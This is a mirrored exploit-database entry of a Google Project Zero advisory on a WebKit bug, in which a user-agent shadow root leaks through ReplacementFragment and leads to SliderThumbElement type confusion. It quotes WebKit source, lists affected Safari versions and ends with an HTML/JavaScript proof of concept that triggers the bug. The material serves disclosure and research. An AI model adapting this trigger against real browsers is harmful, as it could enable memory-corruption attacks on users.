WebKit – User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

  • 作者: Google Security Research
    日期: 2019-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47452/
  • <!--
    VULNERABILITY DETAILS
    editing/ReplaceSelectionCommnd.cpp:
    ```
    Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
    {
    auto holder = createDefaultParagraphElement(document());
    
    holder->appendChild(*m_fragment);
    rootEditableElement->appendChild(holder); // ***2***
    document().updateLayoutIgnorePendingStylesheets();
    
    return holder;
    }
    
    [...]
    
    ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
    : m_document(&document)
    , m_fragment(fragment)
    , m_hasInterchangeNewlineAtStart(false)
    , m_hasInterchangeNewlineAtEnd(false)
    {
    if (!m_fragment)
    return;
    if (!m_fragment->firstChild())
    return;
    
    RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
    ASSERT(editableRoot);
    if (!editableRoot)
    return; 
    [...]
    RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
    ```
    
    html/shadow/SliderThumbElement.cpp
    ```
    RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
    {
    // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
    // So, shadowHost() must be an HTMLInputElement.
    return downcast<HTMLInputElement>(shadowHost()); // ***3***
    }
    ```
    
    I noticed this behavior when I was debugging the test case for
    https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
    `selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
    shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
    e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
    synchronously, and it's possible to reach the user-agent shadow root object by following the
    ancestor chain from the <iframe>.
    
    When an attacker has access to the shadow root, she can use it to leak other elements that are only
    intended for internal use and have less strict security checks. For example, `SliderThumbElement`
    doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
    type confusion vulnerability.
    
    
    VERSION
    WebKit revision 246194
    Safari version 12.1.1 (14607.2.6.1.1)
    
    
    REPRODUCTION CASE
    -->
    
    <body>
    <script>
    input = document.body.appendChild(document.createElement('input'));
    input.focus();
    handler = event => {
    shadow_root = event.target.parentNode.parentNode.parentNode;
    input.type = 'range';
    elt = shadow_root.firstChild.firstChild.firstChild;
    input.remove();
    elt.remove();
    evt = new MouseEvent('mouseup');
    div = document.createElement('div');
    new_shadow_root = div.attachShadow({mode: 'open'});
    new_shadow_root.appendChild(elt);
    elt.dispatchEvent(evt);
    }
    document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
    </script>
    </body>
    
    
    <!--
    CREDIT INFORMATION
    Sergei Glazunov of Google Project Zero
    -->